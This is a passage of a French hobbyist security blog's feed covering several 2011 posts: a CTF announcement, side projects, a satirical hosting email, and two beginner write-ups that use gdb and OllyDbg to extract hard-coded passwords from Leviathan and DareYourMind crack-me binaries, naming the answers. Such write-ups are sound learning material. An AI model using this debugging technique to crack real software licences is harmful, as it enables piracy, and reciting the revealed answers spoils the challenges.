href='http://0xtceblab.blogspot.com/feeds/2028678299515736888/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/sthack-little-writeup.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2028678299515736888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2028678299515736888'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/sthack-little-writeup.html' title='ST&apos;Hack (Little) WriteUp'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-H_1e_7XEXV4/Tej5rOiXlzI/AAAAAAAAAFM/8Sff7phCyMc/s72-c/cigarette-anti-feu.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-1714638611955436819</id><published>2011-05-21T04:10:00.000-07:00</published><updated>2011-05-21T11:17:18.952-07:00</updated><title type='text'>ST'HACK 2011</title><content type='html'>Dans une petite semaine a lieu sur Bordeaux une compétition de sécurité informatique : &lt;a href="https://sthack.ingesup.com/"&gt;la ST'HACK&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-MHAiWB_RiUI/TdedlsRDuJI/AAAAAAAAAFI/S4FrhDZ2fYk/s1600/affiche.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="http://2.bp.blogspot.com/-MHAiWB_RiUI/TdedlsRDuJI/AAAAAAAAAFI/S4FrhDZ2fYk/s320/affiche.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Powered by IngeSup c'est une des premières du genre dans cette ville, donc, forcément je serai de la partie&lt;br /&gt;avec un pote et deux de ses collègues !&lt;br /&gt;Notre team ? Les Pon3y.... (Ouai bah il fallait bien trouver un titre accrocheur hein)&lt;br /&gt;Peut-être, qui sait que des gens de zenk-security pointeront le bout de leur nez =)&lt;br /&gt;&lt;br /&gt;Le programme est assez classique, des épreuves de reverse, du smashTheStack, de la crypto...&lt;br /&gt;Comme Xylitol l'a fait remarquer la description des challenges est un peu borderline :&lt;br /&gt;&lt;br /&gt;"Une application vous demande une clé d'enregistrement ?&lt;br /&gt;Votre licence de 30 jours gratuits arrive à expiration et vous vous  prenez des Nag Screen intempestifs vous réclamant de l'argent ? Une  copie de jeu détecte son invalidité ?&lt;br /&gt;Reversez votre programme et déroulez-le jusqu'à l'origine de votre problème afin de faire sauter ces requêtes intempestives."&lt;br /&gt;&lt;br /&gt;On dirait une traduction google d'un article wiki en anglais ^^&lt;br /&gt;&lt;br /&gt;M'enfin on verra si les épreuves tiennent la route ! Je vais voir ce que je peux faire pour les récupérer et faire un petit writeUp en suivant.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-1714638611955436819?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/1714638611955436819/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/05/sthack-2011.html#comment-form' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1714638611955436819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1714638611955436819'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/05/sthack-2011.html' title='ST&apos;HACK 2011'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-MHAiWB_RiUI/TdedlsRDuJI/AAAAAAAAAFI/S4FrhDZ2fYk/s72-c/affiche.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-1908660664104322916</id><published>2011-05-08T09:19:00.000-07:00</published><updated>2011-05-08T09:19:32.952-07:00</updated><title type='text'>Lightning Map With My Face</title><content type='html'>Une après-midi de formation un vendredi je voulais jouer avec les niveaux de gris de mes photos&lt;br /&gt;et coupler ça avec un petit rendu DirectX--- C# vu que je voulais pas forcément y passer la nuit. Bien qu'au final ça m'ait pris un peu de temps...&lt;br /&gt;J'ai finalement un petit tool qui prend une photo, et sort un mesh .x avec votre tête en 3D =)&lt;br /&gt;Inutile ? Oui mais indispensable.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-bZctn53Ai1c/TcbCgpHQj5I/AAAAAAAAAFE/40hgSlB0PFY/s1600/moi3d.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="446" src="http://1.bp.blogspot.com/-bZctn53Ai1c/TcbCgpHQj5I/AAAAAAAAAFE/40hgSlB0PFY/s640/moi3d.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-1908660664104322916?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/1908660664104322916/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/05/lightning-map-with-my-face.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1908660664104322916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1908660664104322916'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/05/lightning-map-with-my-face.html' title='Lightning Map With My Face'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-bZctn53Ai1c/TcbCgpHQj5I/AAAAAAAAAFE/40hgSlB0PFY/s72-c/moi3d.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-1641540978119790979</id><published>2011-04-17T10:37:00.000-07:00</published><updated>2011-04-18T07:08:51.161-07:00</updated><title type='text'>Bugland.sleep();</title><content type='html'>Le projet bugland pour le moment me prend trop d'espace dans le peu de temps libre que j'ai...&lt;br /&gt;Je sais, c'est pas fun de dire ça pour un développeur :s&lt;br /&gt;&lt;br /&gt;Mais ce n'est qu'une petite pause pour le moment, d'autant plus que j'ai quelques aspirations pour ce petit jeu (&lt;a href="http://www.igf.com/"&gt;IGF&lt;/a&gt;) .&lt;br /&gt;&lt;br /&gt;Le développement ne s'arrête donc pas, c'est juste temporaire.&lt;br /&gt;A la future reprise je chercherais sans doute un graphiste et un autre développeur qui a du temps à perdre :) .&lt;br /&gt;Donc haut les cœur ! Je veux un jeu qui fasse péter les pixels !&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;0xtceb&lt;span style="color: black;"&gt;,&lt;/span&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;président du studio "Calm Production" &lt;/div&gt;&lt;span style="color: black;"&gt;(équipe de développement &lt;span style="color: red;"&gt;Bugland&lt;/span&gt;)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-1641540978119790979?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/1641540978119790979/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/04/buglandsleep.html#comment-form' title='6 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1641540978119790979'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1641540978119790979'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/04/buglandsleep.html' title='Bugland.sleep();'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-6479630132486987213</id><published>2011-04-05T08:54:00.000-07:00</published><updated>2011-04-05T08:55:03.384-07:00</updated><title type='text'>ZOMG-Compressor</title><content type='html'>Oui, nouvel algorithme, nouveau nom. Ça va de soit :) &lt;br /&gt;Il se trouve messieurs et... Mesdames ?..Que j'ai en effet amélioré la méthode de Huffman qu'on ne présente plus, mais qu'en plus cette fois-ci ça a l'air de fonctionner plutôt pas mal.&lt;br /&gt;&lt;br /&gt;Objectif premier, avoir une statue à mon nom :p (non pas pour tout de suite)&lt;br /&gt;La compression sur les fichiers de tailles supérieure à 200~300M ne génèrent pas d'entropie.&lt;br /&gt;Par contre... Les autres, ceux qui sont inférieurs en taille en génèrent donc la release c'est pas pour tout de suite les petits !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-6479630132486987213?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/6479630132486987213/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/04/zomg-compressor.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6479630132486987213'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6479630132486987213'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/04/zomg-compressor.html' title='ZOMG-Compressor'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-5014078565331527712</id><published>2011-04-03T06:28:00.000-07:00</published><updated>2011-04-03T06:28:11.821-07:00</updated><title type='text'>Mail d'avril From TuxFamily</title><content type='html'>J'avoue que je me suis fais avoir ^^ &lt;br /&gt;&amp;nbsp;-----------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Bonjour,&lt;br /&gt;&lt;br /&gt;Après à peine 1 mois, notre campagne de dons a porté ses fruits et notre&lt;br /&gt;objectif de 4000 euros a été atteint.&lt;br /&gt;&lt;br /&gt;Il est désormais temps pour nous d'employer l'argent ainsi récolté. Au&lt;br /&gt;vu des nouveaux déroulements intervenus pendant la campagne, nous avons&lt;br /&gt;décidé d'utiliser ces fonds pour remettre notre architecture au niveau&lt;br /&gt;des exigences de la LOPPSI 2 (Loi d'orientation et de programmation pour&lt;br /&gt;la performance de la sécurité intérieure). TuxFamily a en effet toujours&lt;br /&gt;attaché de l'importance au respect de la loi républicaine.&lt;br /&gt;&lt;br /&gt;Poursuivant notre habituelle politique de transparence, voici une&lt;br /&gt;sélection des informations les plus pertinentes par rapport à ce projet.&lt;br /&gt;&lt;br /&gt;Afin d'assurer une meilleure traçabilité des échanges entre nos serveurs&lt;br /&gt;et le reste du monde, nous allons mettre en place une solution&lt;br /&gt;d'authentification unique. Utilisateurs et visiteurs devront dorénavant&lt;br /&gt;à s'identifier pour accéder aux contenus et services hébergés.&lt;br /&gt;&lt;br /&gt;Ainsi, lorsqu'un internaute accèdera au site &lt;a href="http://www.vhffs.org/," target="_blank"&gt;http://www.vhffs.org/,&lt;/a&gt; il&lt;br /&gt;sera immédiatement redirigé vers un portail d'authentification lui&lt;br /&gt;permettant de s'identifier ou de s'inscrire s'il ne l'est pas déjà. Il&lt;br /&gt;sera ensuite renvoyé vers &lt;a href="http://www.vhffs.org/" target="_blank"&gt;http://www.vhffs.org/&lt;/a&gt; et pourra continuer son&lt;br /&gt;surf comme si de rien n'était sur tous les sites web hébergés par&lt;br /&gt;TuxFamily. Ainsi, de notre côté, nous aurons toutes les informations&lt;br /&gt;nécessaires pour savoir qui a fait quoi à quel moment, et aiderons ainsi&lt;br /&gt;à rendre Internet plus sûr et plus sain.&lt;br /&gt;&lt;br /&gt;Des dispositifs similaires seront progressivement mis en place sur les&lt;br /&gt;autres services : espaces de téléchargement, Subversion/Git/Mercurial,&lt;br /&gt;IRC/Jabber, POP/IMAP/Webmail.&lt;br /&gt;&lt;br /&gt;Comme nous avons bien conscience que retenir un mot de passe complexe de&lt;br /&gt;plus est fatigant et indigne d'une informatique du XXIème siècle, votre&lt;br /&gt;identifiant sera associé à un code PIN à quatre chiffres, beaucoup plus&lt;br /&gt;facile à mémoriser et saisir (exemple : vous pouvez utiliser votre date&lt;br /&gt;de naissance).&lt;br /&gt;&lt;br /&gt;Autre avantage : même si vous ne le retenez pas, notre portail&lt;br /&gt;d'authentification unique intègrera une fonctionnalité de récupération&lt;br /&gt;du code PIN qui vous renverra ce sésame par le moyen de votre choix sans&lt;br /&gt;que vous ayez à inventer et mémoriser un nouveau code PIN. En effet,&lt;br /&gt;d'un point de vue technique, le stockage interne de ce code PIN se fera&lt;br /&gt;"en clair".&lt;br /&gt;&lt;br /&gt;Ce système sera ultérieurement exploité pour fournir des statistiques&lt;br /&gt;plus détaillées sur vos sites web. Les éléments ayant permis la&lt;br /&gt;constitution de ces statistiques détaillées seront bien entendu à&lt;br /&gt;disposition des services judiciaires si besoin est.&lt;br /&gt;&lt;br /&gt;En ce qui concerne l'implémentation, nous nous basons comme à notre&lt;br /&gt;habitude sur des solutions existantes. Dans ce cas précis, nous avons&lt;br /&gt;été séduits par les offres logicielles d'une société basée à Armonk,&lt;br /&gt;dans l'état de New-York. Bien que le coût de ces solutions représente&lt;br /&gt;une importante partie du budget dédié à l'opération, nous avons été&lt;br /&gt;séduits autant par l'honnêteté de nos interlocuteurs que par la&lt;br /&gt;pertinence de leurs solutions.&lt;br /&gt;&lt;br /&gt;À noter que d'autres projets internes sont en cours d'élaboration pour&lt;br /&gt;s'approcher de l'objectif enthousiaste de « capter en temps réel les&lt;br /&gt;données informatiques telles qu'elles s'affichent à l'écran d'un&lt;br /&gt;ordinateur ou telles qu'elles sont introduites lors d'une&lt;br /&gt;saisie de caractères » évoqué dans la LOPPSI.&lt;br /&gt;&lt;br /&gt;Mais pour le moment, nous devons travailler à mettre tout cela en place,&lt;br /&gt;et nous n'excluons pas que le budget initialement prévu s'avère&lt;br /&gt;insuffisant. Aussi, n'hésitez pas à poursuivre les dons afin de nous&lt;br /&gt;soutenir dans cette phase de changement, indispensable pour rester un&lt;br /&gt;hébergeur indépendant ET moderne.&lt;br /&gt;&lt;br /&gt;L'équipe de TuxFamily.org&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-5014078565331527712?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/5014078565331527712/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/04/mail-davril-from-tuxfamily.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/5014078565331527712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/5014078565331527712'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/04/mail-davril-from-tuxfamily.html' title='Mail d&apos;avril From TuxFamily'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-2358824425730598614</id><published>2011-03-27T10:48:00.000-07:00</published><updated>2011-03-27T10:56:50.794-07:00</updated><title type='text'>Wargame Leviathan, challenges à la portée de tous</title><content type='html'>Oui, qu'on ne me dise plus "oui il faudrait que je m'y mette" ou encore "Je comprends pas trop le concept" . &lt;br /&gt;Là, vous ne pourrez plus m'envoyer votre incompréhension en pleine face.&lt;br /&gt;Voici à quoi ressemble le niveau 2 (parce-que le premier c'est pas vraiment un challenge que de savoir faire un grep) :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ddsqehK0P8g/TY90XJU45nI/AAAAAAAAAE0/juDNRepy2L0/s1600/wargame.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-ddsqehK0P8g/TY90XJU45nI/AAAAAAAAAE0/juDNRepy2L0/s1600/wargame.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Le binaire a exploiter ici, c'est "check" parce-qu'il est UID Level3 &amp;amp; Level2 et comme nous sommes au niveau 2... Gotcha ?&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-guwXnwFRmJk/TY91Sg9FXqI/AAAAAAAAAE4/EwailVEYOcc/s1600/check.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-guwXnwFRmJk/TY91Sg9FXqI/AAAAAAAAAE4/EwailVEYOcc/s1600/check.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;On le lance, on se prend une trappe à cause du mot de passe qu'on ne connait bien évidemment pas.&lt;br /&gt;Heureusement le serveur du challenge a les outils qu&lt;span id="goog_455098128"&gt;&lt;/span&gt;&lt;span id="goog_455098129"&gt;&lt;/span&gt;'il faut, où il faut.&lt;br /&gt;Alors, soit on se la joue vrai mec cool et on lance GDB pour apprendre des trucs, soit on se la joue petit branleur avec ltrace.&lt;br /&gt;Allé ! Je lance ltrace ! :) (non je déconne, je suis un cool dude)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ePS7DyRoY98/TY93D9eO_RI/AAAAAAAAAE8/HhACawCvG3I/s1600/gdb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-ePS7DyRoY98/TY93D9eO_RI/AAAAAAAAAE8/HhACawCvG3I/s1600/gdb.png" /&gt;&lt;/a&gt;&lt;/div&gt;On remarque la présence (ô combien inattendue) d'un petit STRCMP à la ligne 133&lt;br /&gt;qui va comparer le mot de passe que je rentre et celui qui est en dur dans le binaire.&lt;br /&gt;On y place un Breakpoint et on lance le carrosse :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-0ZUP37Bc46c/TY94KpnvVzI/AAAAAAAAAFA/Vhd4Ofm1IY4/s1600/gdb2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-0ZUP37Bc46c/TY94KpnvVzI/AAAAAAAAAFA/Vhd4Ofm1IY4/s1600/gdb2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Le mot de passe est donc sex . Et ça nous ouvre un shell vers le niveau suivant.&lt;br /&gt;Cmon ! Mettez vous-y un peu !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-2358824425730598614?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/2358824425730598614/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/wargame-leviathan-challenges-la-portee.html#comment-form' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2358824425730598614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2358824425730598614'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/wargame-leviathan-challenges-la-portee.html' title='Wargame Leviathan, challenges à la portée de tous'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-ddsqehK0P8g/TY90XJU45nI/AAAAAAAAAE0/juDNRepy2L0/s72-c/wargame.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-8005344678563767805</id><published>2011-03-26T04:55:00.000-07:00</published><updated>2011-03-26T05:37:15.868-07:00</updated><title type='text'>Krack-It | DareYourMind</title><content type='html'>Ouaip, de temps à autres je fais des challenges (sisi)&lt;br /&gt;ils sont plus ou moins fun et je me prends plus ou moins la tête (plus que moins)&lt;br /&gt;&lt;br /&gt;Aujourd'hui je suis d'humeur Spoiler, je vais vous parler d'une épreuve crack-it (en Français dans le titre) . Si vous connaissez pas il s'agit tout simplement d'une petite application qu'il faut cracker, d'où le nom.&lt;br /&gt;&lt;br /&gt;Pour valider l'épreuve il faut donc trouver un mot de passe, j'aime bien parce-que en reversing je suis une daube :) .&lt;br /&gt;Voici à quoi ça ressemble quand on lance l'app :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh5.googleusercontent.com/-uo0ou87wnMg/TY3OFEKf2DI/AAAAAAAAAEc/h2bxvlQS5Xw/s1600/lancement.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh5.googleusercontent.com/-uo0ou87wnMg/TY3OFEKf2DI/AAAAAAAAAEc/h2bxvlQS5Xw/s1600/lancement.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;On va voir ce qui se passe si je lance ça avec odbg et un paramètre à la con :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/-zzIN0qNGZKs/TY3OzkHq1sI/AAAAAAAAAEg/oizOqBZanfc/s1600/param.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="376" src="https://lh6.googleusercontent.com/-zzIN0qNGZKs/TY3OzkHq1sI/AAAAAAAAAEg/oizOqBZanfc/s640/param.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;On va aussi se balader un peu dans les strings du binaire pour voir si y'a pas quelque chose d'intéressant (je m'en doute parce-que l'épreuve n'a pas un niveau de difficulté hard)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh3.googleusercontent.com/-tDM7dvdWEXc/TY3PjL-h9iI/AAAAAAAAAEk/FPCUBstVYhk/s1600/strings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh3.googleusercontent.com/-tDM7dvdWEXc/TY3PjL-h9iI/AAAAAAAAAEk/FPCUBstVYhk/s1600/strings.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Un message Bad boy qui traine, que ce passe-t'il à cet offset ?&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh5.googleusercontent.com/-OWS6G_2Ewiw/TY3QtgC1nyI/AAAAAAAAAEo/3l4QBrF20rU/s1600/jne.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh5.googleusercontent.com/-OWS6G_2Ewiw/TY3QtgC1nyI/AAAAAAAAAEo/3l4QBrF20rU/s1600/jne.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Donc on a un JNE, qu'on va tout de suite s'empresser de BP, et on va lancer l'application.&lt;br /&gt;Le JNE avec le paramètre qu'on a donné au binaire, tombera forcément sur le message Bad Boy. &lt;br /&gt;Mais ce qui est marrant, c'est qu'il est possible de voir en clair avec quoi notre mot de passe à la con est comparé dans la pile. Oui je découvre en même temps que vous et je suis un noob (i know that).&lt;br /&gt;Là je redis bien que le but c'est de trouver le mot de passe hein ! Parce-que NOPer le JNE c'est pas très dur...&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh3.googleusercontent.com/-usISvYQj2hs/TY3SZ8uqhhI/AAAAAAAAAEs/aKF5L5ixvAY/s1600/pile.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh3.googleusercontent.com/-usISvYQj2hs/TY3SZ8uqhhI/AAAAAAAAAEs/aKF5L5ixvAY/s1600/pile.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La ligne que je sélectionne ici, c'est en fait la comparaison qui se fait lors du Jump, la suite numérique juste en dessous c'est le paramètre en fait (parce-que "à la con") ça fonctionnait pas (on s'en doutait ^^)&lt;br /&gt;Si mot de passe différent de "RotEncryption" alors Bad Boy. C'est tout con comme épreuve mais je fais mes armes dans ce genres de trucs en ce moment.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh5.googleusercontent.com/-C18FHfliowg/TY3ULl2tFtI/AAAAAAAAAEw/RfZzUDcEvgk/s1600/congratz.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh5.googleusercontent.com/-C18FHfliowg/TY3ULl2tFtI/AAAAAAAAAEw/RfZzUDcEvgk/s1600/congratz.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-8005344678563767805?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/8005344678563767805/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/krack-it-dareyourmind.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8005344678563767805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8005344678563767805'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/krack-it-dareyourmind.html' title='Krack-It | DareYourMind'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh5.googleusercontent.com/-uo0ou87wnMg/TY3OFEKf2DI/AAAAAAAAAEc/h2bxvlQS5Xw/s72-c/lancement.png' height='72' 